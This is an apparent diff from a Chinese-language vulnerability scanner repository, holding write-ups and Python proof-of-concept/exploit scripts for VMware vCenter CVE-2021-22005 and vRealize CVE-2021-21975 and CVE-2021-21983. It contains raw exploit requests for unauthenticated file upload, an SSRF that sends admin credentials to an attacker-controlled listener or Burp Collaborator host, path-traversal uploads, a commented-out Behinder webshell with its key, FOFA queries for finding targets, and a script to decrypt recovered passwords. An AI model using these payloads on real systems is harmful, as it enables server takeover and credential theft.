res_1 = requests.get(poc_url, headers=headers, verify=False, timeout=5)
|
||||
if res_1.status_code == 200 and "this is a friendly test" in res_1.text:
|
||||
result['poc'] = NAME
|
||||
result['vurl'] = vurl
|
||||
result['pocurl'] = poc_url
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("http://127.0.0.1")
|
||||
114
Moudle/VCenter/CVE_2021_22005.md
Normal file
@@ -0,0 +1,114 @@
|
||||
# 漏洞简述
|
||||
|
||||
能够网络访问vCenter Server 上的 443 端口的攻击者可以通过构造上传请求,上传恶意文件,获取服务器权限,在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。
|
||||
|
||||
# 影响范围
|
||||
|
||||
VMware vCenter Server 7.0
|
||||
|
||||
VMware vCenter Server 6.7
|
||||
|
||||
# 漏洞复现
|
||||
|
||||
漏洞检测POST包:
|
||||
|
||||
```java
|
||||
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=1231231&_i=456456 HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
|
||||
X-Deployment-Secret: test
|
||||
Content-Type: application/json
|
||||
Content-Length: 252
|
||||
|
||||
{ "manifestSpec":{},"objectType": "a2","collectionTriggerDataNeeded": "True","deploymentDataNeeded":"True","resultNeeded": "True","signalCollectionCompleted":"True","localManifestPath": "a7",
|
||||
"localPayloadPath": "a8","localObfuscationMapPath": "a9" }
|
||||
```
|
||||
|
||||
返回包状态码为201,证明存在漏洞;
|
||||
|
||||
```java
|
||||
HTTP/1.1 201
|
||||
Content-Length: 0
|
||||
Date: Thu, 21 Oct 2021 06:30:07 GMT
|
||||
Server: Apache
|
||||
```
|
||||
|
||||
注:
|
||||
|
||||
- URL中的_c和_i,最好是随机生成,因若多次请求同一个站,这两个参数内容若与之前一样,无论网站是否存在漏洞,返回包状态码均固定为409;
|
||||
- header头中的X-Deployment-Secret必须要有,Content-Type可以没有,但最好带着;
|
||||
|
||||
- data数据中的True,手工测试的时候,要用双引号引起来在;从脚本到手工复现,这个地方被坑了一会
|
||||
|
||||
|
||||
|
||||
漏洞poc/exp的POST包:
|
||||
|
||||
```java
|
||||
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=1231231&_i=456456 HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
|
||||
Content-Type: application/json
|
||||
X-Deployment-Secret: test
|
||||
Content-Length: 3590
|
||||
|
||||
|
||||
|
||||
{"contextData": "a3", "manifestContent": "<manifest recommendedPageSize=\"500\">\r\n <request>\r\n <query name=\"vir:VCenter\">\r\n <constraint>\r\n <targetType>ServiceInstance</targetType>\r\n </constraint>\r\n <propertySpec>\r\n <propertyNames>content.about.instanceUuid</propertyNames>\r\n <propertyNames>content.about.osType</propertyNames>\r\n <propertyNames>content.about.build</propertyNames>\r\n <propertyNames>content.about.version</propertyNames>\r\n </propertySpec>\r\n </query>\r\n </request>\r\n <cdfMapping>\r\n <indepedentResultsMapping>\r\n <resultSetMappings>\r\n <entry>\r\n <key>vir:VCenter</key>\r\n <value>\r\n <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\r\n <resourceItemToJsonLdMapping>\r\n <forType>ServiceInstance</forType>\r\n <mappingCode><![CDATA[ \r\n #set($appender = $GLOBAL-logger.logger.parent.getAppender(\"LOGFILE\"))##\r\n #set($orig_log = $appender.getFile())##\r\n #set($logger = $GLOBAL-logger.logger.parent)## \r\n $appender.setFile(\"/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/test.jsp\")## \r\n $appender.activateOptions()## \r\n $logger.warn(\"\u005c\u0075\u0030\u0030\u0033\u0063\u0025\u0040\u0020\u0070\u0061\u0067\u0065\u0020\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u0054\u0079\u0070\u0065\u003d\u005c\u0075\u0030\u0030\u0032\u0032\u0074\u0065\u0078\u0074\u002f\u0068\u0074\u006d\u006c\u003b\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u003d\u0055\u0054\u0046\u002d\u0038\u005c\u0075\u0030\u0030\u0032\u0032\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u005c\u0075\u0030\u0030\u0032\u0032\u006a\u0061\u0076\u0061\u005c\u0075\u0030\u0030\u0032\u0032\u0020\u0025\u005c\u0075\u0030\u0030\u0033\u0065\u000d\u000a\u005c\u0075\u0030\u0030\u0033\u0063\u0025\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u005c\u0075\u0030\u0030\u0032\u0032\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0061\u0020\u0066\u0072\u0069\u0065\u006e\u0064\u006c\u0079\u0020\u0074\u0065\u0073\u0074\u002c\u0020\u0050\u006c\u0065\u0061\u0073\u0065\u0020\u0063\u0068\u0065\u0063\u006b\u0020\u0061\u006e\u0064\u0020\u0072\u0065\u0070\u0061\u0069\u0072\u0020\u0075\u0070\u006c\u006f\u0061\u0064\u0020\u0076\u0075\u006c\u006e\u0065\u0072\u0061\u0062\u0069\u006c\u0069\u0074\u0069\u0065\u0073\u002e\u005c\u0075\u0030\u0030\u0032\u0032\u0029\u003b\u0025\u005c\u0075\u0030\u0030\u0033\u0065\")## \r\n $appender.setFile($orig_log)## \r\n $appender.activateOptions()##]]>\r\n </mappingCode>\r\n </resourceItemToJsonLdMapping>\r\n </value>\r\n </value>\r\n </entry>\r\n </resultSetMappings>\r\n </indepedentResultsMapping>\r\n </cdfMapping>\r\n <requestSchedules>\r\n <schedule interval=\"1h\">\r\n <queries>\r\n <query>vir:VCenter</query>\r\n </queries>\r\n </schedule>\r\n </requestSchedules>\r\n </manifest>", "objectId": "a2"}
|
||||
```
|
||||
|
||||
返回包状态码为200,并且返回如下内容证明上传成功;
|
||||
|
||||
```java
|
||||
HTTP/1.1 200
|
||||
Content-Type: application/json;charset=ISO-8859-1
|
||||
Content-Length: 120
|
||||
Date: Thu, 21 Oct 2021 06:56:40 GMT
|
||||
Server: Apache
|
||||
|
||||
{"@type":"collection_completed","collection_completed_timestamp":1634799400166,"@id":"2555d5f7f87941498c4b482b9e3e40a4"}
|
||||
```
|
||||
|
||||
要访问的上传文件地址为:(ip、端口、文件名自行替换)
|
||||
|
||||
```java
|
||||
https://ip:port/idm/..;/test.jsp
|
||||
```
|
||||
|
||||
注:
|
||||
|
||||
- 此POST包要在上一步的检测POST包之后使用,并且URL中的_c和_i值,至少要是历史中的上一步请求过的(个人理解这两个参数是一个简单的验证),所以这里最好是随机生成,并且分别赋值给这两步中的两个参数,保证每次都是随机不重复,并且还是一样的;
|
||||
- X-Deployment-Secret与Content-Type与上一步中一样;
|
||||
|
||||
- 作为文件上传,data数据中大部分内容不用变,只变动$appender.setFile和$logger.warn的内容,前者是更改路径的文件名,(上传后要访问的文件),后者是具体的poc/exp内容;
|
||||
- 仔细看应该也能看出来,这部分最长的一段json的值,在"前边加了\,因为"冲突了。其中的poc/exp部分做了Unicode编码,并且<、>、"是做了两次Unicode编码的(或者不嫌传输内容过长的话,直接把全部的poc/exp的内容两次Unicode编码也可)。不做两次Unicode编码的话,上传上去的<、>、"会被实体化,导致无法解析;
|
||||
|
||||
- 亲测站长上的Unicode编码不好使,即使两次编码,传上去的文件依然无法解析。
|
||||
|
||||
附字符串转Unicode编码的脚本(二次及以上编码的话,编码后的内容再次当作字符串编码时,每个\要替换为\\):
|
||||
|
||||
```java
|
||||
string = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
|
||||
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");%>"""
|
||||
|
||||
string_unicode = ""
|
||||
for i in string:
|
||||
asc_chr = ord(i)
|
||||
print(i)
|
||||
aa = "\\u{:04x}".format(asc_chr)
|
||||
string_unicode = string_unicode + aa
|
||||
|
||||
print(string_unicode)
|
||||
```
|
||||
|
||||
顺手记录一下上传后情景:
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
# poc/exp:
|
||||
|
||||
根据需求,自行注释切换poc还是exp,不过在输出上更严的做了poc的判断,没做exp是否成功的判断,建议先使用poc验证,再尝试exp,完事手工验证一下是否被拦截。
|
||||
|
||||
与手工验证利用不一样的地方,poc、exp部分的内容,只需要做一次Unicode编码即可。
|
||||
136
Moudle/VCenter/CVE_2021_22005.py
Normal file
@@ -0,0 +1,136 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
import random
|
||||
import string
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2021-22005'
|
||||
AUTHOR="境心"
|
||||
REMARK='VMware vCenter Analytics 任意文件上传漏洞'
|
||||
FOFA_RULE='title="+ ID_VC_Welcome +"'
|
||||
######################################################
|
||||
|
||||
|
||||
def id_generate(size=6, chars=string.ascii_lowercase + string.digits):
|
||||
return ''.join(random.choice(chars) for _ in range(size))
|
||||
|
||||
def poc_content(filename):
|
||||
file_path = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % (filename)
|
||||
poc_content_part = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
|
||||
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
|
||||
%>"""
|
||||
# 冰蝎原始
|
||||
# poc_content_part = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
|
||||
poc_content_part_unicode = ""
|
||||
for i in poc_content_part:
|
||||
asc_chr = ord(i)
|
||||
aa = "\\u{:04x}".format(asc_chr)
|
||||
poc_content_part_unicode = poc_content_part_unicode + aa
|
||||
|
||||
content = """<manifest recommendedPageSize="500">
|
||||
<request>
|
||||
<query name="vir:VCenter">
|
||||
<constraint>
|
||||
<targetType>ServiceInstance</targetType>
|
||||
</constraint>
|
||||
<propertySpec>
|
||||
<propertyNames>content.about.instanceUuid</propertyNames>
|
||||
<propertyNames>content.about.osType</propertyNames>
|
||||
<propertyNames>content.about.build</propertyNames>
|
||||
<propertyNames>content.about.version</propertyNames>
|
||||
</propertySpec>
|
||||
</query>
|
||||
</request>
|
||||
<cdfMapping>
|
||||
<indepedentResultsMapping>
|
||||
<resultSetMappings>
|
||||
<entry>
|
||||
<key>vir:VCenter</key>
|
||||
<value>
|
||||
<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
|
||||
<resourceItemToJsonLdMapping>
|
||||
<forType>ServiceInstance</forType>
|
||||
<mappingCode><![CDATA[
|
||||
#set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
|
||||
#set($orig_log = $appender.getFile())##
|
||||
#set($logger = $GLOBAL-logger.logger.parent)##
|
||||
$appender.setFile("%s")##
|
||||
$appender.activateOptions()##
|
||||
$logger.warn("%s")##
|
||||
$appender.setFile($orig_log)##
|
||||
$appender.activateOptions()##]]>
|
||||
</mappingCode>
|
||||
</resourceItemToJsonLdMapping>
|
||||
</value>
|
||||
</value>
|
||||
</entry>
|
||||
</resultSetMappings>
|
||||
</indepedentResultsMapping>
|
||||
</cdfMapping>
|
||||
<requestSchedules>
|
||||
<schedule interval="1h">
|
||||
<queries>
|
||||
<query>vir:VCenter</query>
|
||||
</queries>
|
||||
</schedule>
|
||||
</requestSchedules>
|
||||
</manifest>""" %(file_path, poc_content_part_unicode)
|
||||
return content
|
||||
|
||||
def Agent(ver_url):
|
||||
headers = {"User-Agent": ua,
|
||||
"X-Deployment-Secret": "test"
|
||||
}
|
||||
|
||||
json_data = { "manifestSpec":{},
|
||||
"objectType": "a2",
|
||||
"collectionTriggerDataNeeded": True,
|
||||
"deploymentDataNeeded":True,
|
||||
"resultNeeded": True,
|
||||
"signalCollectionCompleted":True,
|
||||
"localManifestPath": "a7",
|
||||
"localPayloadPath": "a8",
|
||||
"localObfuscationMapPath": "a9" }
|
||||
requests.post(ver_url, headers=headers, json=json_data, verify=False)
|
||||
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
filename = "test5.jsp"
|
||||
first_id = id_generate()
|
||||
seconde_id = id_generate()
|
||||
end_chr = target[-1]
|
||||
if end_chr == "/":
|
||||
url = target + "analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (first_id,seconde_id)
|
||||
poc_url = target + "idm/..;/%s" % (filename)
|
||||
ver_url = target + "analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (first_id,seconde_id)
|
||||
else:
|
||||
url = target + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (first_id,seconde_id)
|
||||
poc_url = target + "/idm/..;/%s" % (filename)
|
||||
ver_url = target + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (first_id,seconde_id)
|
||||
Agent(ver_url)
|
||||
content = poc_content(filename)
|
||||
headers = {"User-Agent": ua,
|
||||
"X-Deployment-Secret": "test"
|
||||
}
|
||||
json_data = {"contextData": "a3", "manifestContent": content, "objectId": "a2"}
|
||||
requests.post(url, headers=headers, json=json_data, verify=False, timeout=5)
|
||||
poc_res = requests.get(url=poc_url, headers=headers, verify=False)
|
||||
if "this is a friendly test, Please check and repair upload vulnerabilities." in poc_res.text:
|
||||
result['poc'] = NAME
|
||||
result['poc_url'] = poc_url
|
||||
result['message'] = "存在VMware vCenter Analytics 任意文件上传漏洞"
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("https://127.0.0.1")
|
||||
211
Moudle/VRealize/CVE_2021_21975.md
Normal file
@@ -0,0 +1,211 @@
|
||||
# 漏洞简述
|
||||
|
||||
vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API(路由)的恶意攻击者可以执行服务器端请求伪造攻击(SSRF),并且通过服务器端向监听服务器发送的的request header头,可能会获取认证凭证。
|
||||
|
||||
# 影响范围
|
||||
|
||||
vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0
|
||||
|
||||
cloud_foundation: 4.x 3.x
|
||||
|
||||
vRealize_suite_lifecycle_manager: 8.x
|
||||
|
||||
其中vRealize_operations_manager的8.3及以后版本虽存在SSRF漏洞,但已不能获取认证凭证。
|
||||
|
||||
# 漏洞复现
|
||||
|
||||
漏洞复现过程:
|
||||
|
||||
构造POST请求包,header头必须包含 Content-Type: application/json ,data格式为字典格式的ip:port/web路径,可以填写多个ip,用逗号分开。
|
||||
|
||||
```java
|
||||
POST /casa/nodes/thumbprints HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Type: application/json
|
||||
Content-Length: 24
|
||||
|
||||
[
|
||||
"127.0.0.2:6666"]
|
||||
```
|
||||
|
||||
监听请求有两种途径,一是通过自己的vps监听,二是利用burpsuit的Collaborator模块监听
|
||||
|
||||
第一种途径:通过vps
|
||||
|
||||
在vps监听一个ssl加密协议的端口(一定要ssl加密的端口,否则收到的信息会是乱码,下面坑点处有提到)
|
||||
|
||||
```java
|
||||
#在vps生成加密证书
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem
|
||||
|
||||
#监听ssl加密端口,这里为6666
|
||||
ncat -lvk 6666 --ssl --ssl-cert cert.pem --ssl-key key.pem
|
||||
```
|
||||
|
||||
监听端口之后,发送伪造的请求包,即可看到认证凭证,base64解密后为账号密码
|
||||
|
||||

|
||||
|
||||
第二种途径:通过burpsuit的Collaborator模块(以下用的是burp2.0版本的,1.7版本可能需要单独安装这个模块)
|
||||
|
||||
Collaborator配置,其实日常使用默认配置就可以了,第三个选项是可以用自己的vps
|
||||
|
||||

|
||||
|
||||
打开Collaborator客户端,点击burpsuit左上角的Burp,选择Burp Collaborator client;
|
||||
|
||||

|
||||
|
||||
伪造的请求包发送之后,就可看到认证凭证了,base64解密就是账号和密码了
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
# 复现坑点
|
||||
|
||||
使用第二种途径burpsuit Collaborator模块复现时倒是没什么问题,但用第一种途径vps监听端口复现时踩了坑。
|
||||
|
||||
期间看了漏洞代码的分析、也去找了Collaborator模块能获取到认证凭证的原因,是不是有什么特殊的payload,同时还走了大弯路,想着既然是ssrf漏洞,是不是读取了服务器上的配置文件,然后开始在靶机上各种搜索,通过文件夹名及文件内容过滤,找到了认证凭证存放的配置文件,因为不知道密码加密规则,又在网上找加密方式,未果后,最终还是回到靶机找到了相关的私钥及加密的py脚本,最终解密出来了密码。
|
||||
|
||||
此时回想起来,感觉到确实走了大弯路,想想还是回到一篇相对较全的复现文章,仔细看复现的那张截图,有哪些特殊的地方,发现监听端口时,使用了ssl加密。随后从网上找到生成加密证书的方法,但本地靶场却还是没复现成功,后边想着是不是环境的问题,就找了网上的环境,一个个测试,最终找到一个确实能获取凭证的,测试后确定成功了。分析可能是本地靶机环境的加密证书问题,不过,虽然网上的这个站获取到了凭证,但账号却不能登录,应该是账号做了限制了。。到此,这次的坑就踩完了。囧
|
||||
|
||||
相关踩坑的截图:
|
||||
|
||||
1.普通的端口监听,收到的都是乱码
|
||||
|
||||

|
||||
|
||||
2.本地靶机使用加密端口监听,收到请求时还是报错
|
||||
|
||||

|
||||
|
||||
3.有个站点手工获取到凭证了,解密出来还是无法登录。。。囧,这个可能是以后真用到的时候可能会面对的**真坑**
|
||||
|
||||

|
||||
|
||||
4.靶机中找凭证存放配置文件、私钥存放配置文件、加解密文件
|
||||
|
||||
根据Collaborator已经获取到的信息中的账号,找到了认证存放配置文件,但未能解密成功;
|
||||
|
||||
```java
|
||||
find / -name *maintenance*
|
||||
```
|
||||
|
||||

|
||||
|
||||
通过相关关键词,找加密的私钥,一顿尝试,找到了,然而通过AES解密,并没有解出来;
|
||||
|
||||
```java
|
||||
find /usr/lib/vmware-vcops/ -name *key*
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后就再找加密、解密的脚本,也是一顿搜索,找到了生成私钥的脚本和加解密的脚本;
|
||||
|
||||
```java
|
||||
grep -n -r cluster_master_key /usr/lib/
|
||||
```
|
||||
|
||||

|
||||
|
||||
也顺手根据加解密文件名,通过内容查找找到了调用加解密脚本的py脚本;
|
||||
|
||||
```java
|
||||
grep -n -r vcops_crypt /usr/lib/
|
||||
```
|
||||
|
||||

|
||||
|
||||
分析加解密脚本,发现是用的base64解密及AES解密将上面提到的密码的密文解密出来的。单独将解密部分的方法拿出来测试,确实解出来了密码,但这里已经是走偏的越来越远;
|
||||
|
||||
```java
|
||||
import os
|
||||
import sys
|
||||
from base64 import b64encode, b64decode
|
||||
|
||||
try:
|
||||
from Crypto.Cipher import AES
|
||||
except ImportError:
|
||||
print(__name__ + ': Could not import Crypto.Cipher.AES, probably a test environment')
|
||||
|
||||
#解密方法
|
||||
def decrypt_impl_v2(keyFilePath,text: str):
|
||||
parts = text.split(':')
|
||||
if len(parts) != 3:
|
||||
print('ERROR: Invalid message format, unable to decrypt.')
|
||||
return None
|
||||
|
||||
crypt_settings = None
|
||||
with open(keyFilePath, 'r') as keyFile:
|
||||
for line in keyFile:
|
||||
cs = get_crypt_settings(line)
|
||||
if cs is not None and cs['version'].lower() == parts[0].lower():
|
||||
crypt_settings = cs
|
||||
break
|
||||
if crypt_settings is None:
|
||||
# message is encrypted with unknown key
|
||||
print('ERROR: Message is encrypted with unknown key.')
|
||||
return None
|
||||
#具体的解密语句
|
||||
iv = b64decode(parts[1])
|
||||
dcipher = AES.new(crypt_settings['key'], AES.MODE_CBC, iv)
|
||||
ct = b64decode(parts[2])
|
||||
return str(unpad(dcipher.decrypt(ct)), 'UTF-8')
|
||||
|
||||
#对私钥内容进行分段提取
|
||||
def get_crypt_settings(line: str):
|
||||
line = line.strip()
|
||||
if not line:
|
||||
return None
|
||||
ret = dict()
|
||||
parts = line.split(' ')
|
||||
if len(parts) == 1:
|
||||
# old key format
|
||||
key = parts[0].strip()
|
||||
ret['version'] = 'V1'
|
||||
ret['key'] = bytes(key, 'UTF-8')
|
||||
else:
|
||||
ret['version'] = parts[0]
|
||||
for s in parts[1:]:
|
||||
kvPair = s.split('=', 1)
|
||||
kvPair[0] = kvPair[0].lower()
|
||||
if kvPair[0] == 'key':
|
||||
ret['key'] = b64decode(bytes(kvPair[1], 'UTF-8'))
|
||||
|
||||
return ret
|
||||
|
||||
def unpad(data: bytes):
|
||||
return data[0:-(data[-1])]
|
||||
|
||||
#单独把私钥文件和密码密文当做参数传进去
|
||||
result = decrypt_impl_v2("cluster_master_key.txt","V2:qSLqYStKf1RpftOQ9l4MKA==:m3zt8+IacO2lDN86HrZRdJGTZi07151GmiWDMWOUeHc=")
|
||||
print(result)
|
||||
```
|
||||
|
||||
# 漏洞修复
|
||||
|
||||
如果无法安装修补程序,或者没有适用于您的 vRealize Operations 版本的修补程序,可以采取以下步骤来解决该问题。应用此权宜措施不会对 vRealize Operations 产生影响。
|
||||
|
||||
要在 vRealize Operations 中临时解决此问题,请从 casa-security-context.xml
|
||||
|
||||
1. 通过 SSH 或控制台以 root 身份登录主节点,在控制台中按 ALT+F1 进行登录
|
||||
2. 打开 /usr/lib/vmware-casa/casa-webapp/webapps/casa/WEB-INF/classes/spring/casa-security-context.xml
|
||||
|
||||
1. 查找并删除该行: <sec:http pattern="/nodes/thumbprints" security='none'/>
|
||||
2. 保存并关闭文件
|
||||
|
||||
1. 使用以下命令重新启动 CaSA 服务: service vmware-casa restart
|
||||
2. 在 vRealize Operations 群集中的所有其他节点上重复步骤 1-5
|
||||
|
||||
|
||||
|
||||
# poc
|
||||
|
||||
poc里单独做了一个exp部分,单独使用脚本,加第二个参数即可,第二个参数为vps_ip:port格式或者Collaborator中的域名。需要先vps监听好端口或者使用Collaborator。验证需要到相应的地方去查看header头中是否有Authorization字段。不建议批量exp验证,因网站服务端发送的没有网站的信息,多了容易混乱。
|
||||
|
||||
使用域名相对方便一些 ,不过经过测试,都有坑,若需要测试多个站,两者都不能不中断的不间断测试,个人分析应该是因为上一个站测试时,https连接还未完全关闭,导致下一个站发送请求时出现问题,vps的解决方法是,ctrl+c中断之后,再重新监听端口,Collaborator的解决方法是Copy to clipboard重新获取一个域名,Collaborator还有个坑是,域名太长,可能会有一些站不能发送https请求过来。
|
||||
|
||||
纯poc部分的检测方法是通过post请求漏洞URL,对比其状态码判断的,对于要获取认证凭证来说,肯定是存在误报的,有的站虽然有SSRF漏洞,但却不一定能获取到认证凭证。
|
||||
|
||||
54
Moudle/VRealize/CVE_2021_21975.py
Normal file
@@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2021-21975'
|
||||
AUTHOR="境心"
|
||||
REMARK='VMware vRealize&Cloud Foundation SSRF漏洞'
|
||||
FOFA_RULE='app="vmware-vRealize-Operations-Manager"'
|
||||
######################################################
|
||||
|
||||
def ret_data(exp=None):
|
||||
if exp == None:
|
||||
data = '["127.0.0.1/admin/login.action"]'
|
||||
timeout = 5
|
||||
elif exp != None:
|
||||
data = '["%s"]' % exp
|
||||
timeout = 15
|
||||
return data,timeout
|
||||
|
||||
def _request(target,exp=None):
|
||||
url = target + "/casa/nodes/thumbprints"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36",
|
||||
"Content-Type": "application/json;charset=UTF-8"
|
||||
}
|
||||
data,timeout = ret_data(exp)
|
||||
res = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout)
|
||||
return res,url
|
||||
|
||||
def poc(target,exp=None):
|
||||
result = {}
|
||||
res,url = _request(target,exp)
|
||||
if exp == None:
|
||||
if res.status_code == 200:
|
||||
result['poc'] = NAME
|
||||
result['poc_url'] = url
|
||||
result['message'] = '可能存在SSRF漏洞,请手工验证'
|
||||
return result
|
||||
elif exp != None:
|
||||
if res.status_code == 200:
|
||||
print('请到vps查看header中是否存在Authorization字段')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("https://127.0.0.1:443/","4sxpi8otjyj4w0shsthm0ibbn2tvhk.burpcollaborator.net")
|
||||
88
Moudle/VRealize/CVE_2021_21983.md
Normal file
@@ -0,0 +1,88 @@
|
||||
# 漏洞简述
|
||||
|
||||
vRealize 路由中存在一上传功能,由于未对上传做任何安全过滤,导致可在有认证凭证的情况下,实现任意文件上传,获取服务器控制权限。
|
||||
|
||||
亲测,上一波漏洞CVE-2021-21975中获取到认证信息,但无法通过web管理端登录的问题,此漏洞可不受其限制,只要认证信息准确,依然能够实现任意文件上传,获取控制权限。
|
||||
|
||||
# 影响范围
|
||||
|
||||
vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0
|
||||
|
||||
cloud_foundation: 4.x 3.x
|
||||
|
||||
vRealize_suite_lifecycle_manager: 8.x
|
||||
|
||||
限于环境问题,最高测试到vRealize_operations_manager的8.3.0.17501340版本,都是存在该漏洞的,虽然8.3版本开始,通过SSRF漏洞已不能获取到认证信息,但若在能知晓认证信息的情况下,还是能获取到控制权限的。
|
||||
|
||||
# 漏洞分析
|
||||
|
||||
casa/classes/com/vmware/vcops/casa/appconfig/CertificateController.class位置 存在一路由,这里使用POST方法接收了两个参数name和file
|
||||
|
||||

|
||||
|
||||
跟进 CertificateService#handleCertificateFile,这里创建了一个File对象,直接使用transferTo函数上传文件,两个参数都可控,没有任何过滤,就出现了任意文件上传漏洞。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 漏洞复现
|
||||
|
||||
POST包:
|
||||
|
||||
```java
|
||||
POST /casa/private/config/slice/ha/certificate HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Dnt: 1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Sec-Fetch-Dest: document
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-User: ?1
|
||||
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjI6L21UN3dGSFh0VFM3Q2ZDMklQWnc2Mmcv
|
||||
Te: trailers
|
||||
Connection: close
|
||||
Content-Length: 492
|
||||
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
../../../../../usr/lib/vmware-casa/casa-webapp/webapps/casa/test1.jsp
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB
|
||||
Content-Disposition: form-data; name="file"; filename=""
|
||||
Content-Type: image/jpeg
|
||||
|
||||
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
|
||||
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
|
||||
%>
|
||||
------WebKitFormBoundarypyfBh1YB4pV8McGB--
|
||||
```
|
||||
|
||||
网上均是文章一大抄,没有看到一篇放POST包的,文章内容截图一模一样。这里根据分析的代码部分,URL为第一张图中的路由,访问该URL,登录抓包,看到其中熟悉的header头,Authorization字段,在CVE-2021-21975中获取的就是这个东东。亲测默认的admin账号也可以实现效果,格式为admin:password的base64加密。
|
||||
|
||||
POST包为常规的文件上传的Content-Type格式,主要有两个核心上传参数name和file。name的value为文件名,file的value为文件内容。
|
||||
|
||||
尝试默认上传位置为/storage/vcops/user/conf/ssl/,上传之后无法通过web访问到;就想到在文件名的位置通过../构造切换web可访问的位置。
|
||||
|
||||
路径切换的时候,文件并不能保存到操作系统根目录下,但可借助切换到根目录时,无缝衔接切换到根目录下的其他文件夹下,就有了上面POST包中的name参数的value。这样文件上传后的URL为:https://ip:port/casa/test1.jsp,自行更改上传的文件名。
|
||||
|
||||
|
||||
|
||||
如果上传shell的话,记得也要加上Authorization哈,否则返回401;比如冰蝎:
|
||||

|
||||
|
||||
|
||||
|
||||
# poc/exp
|
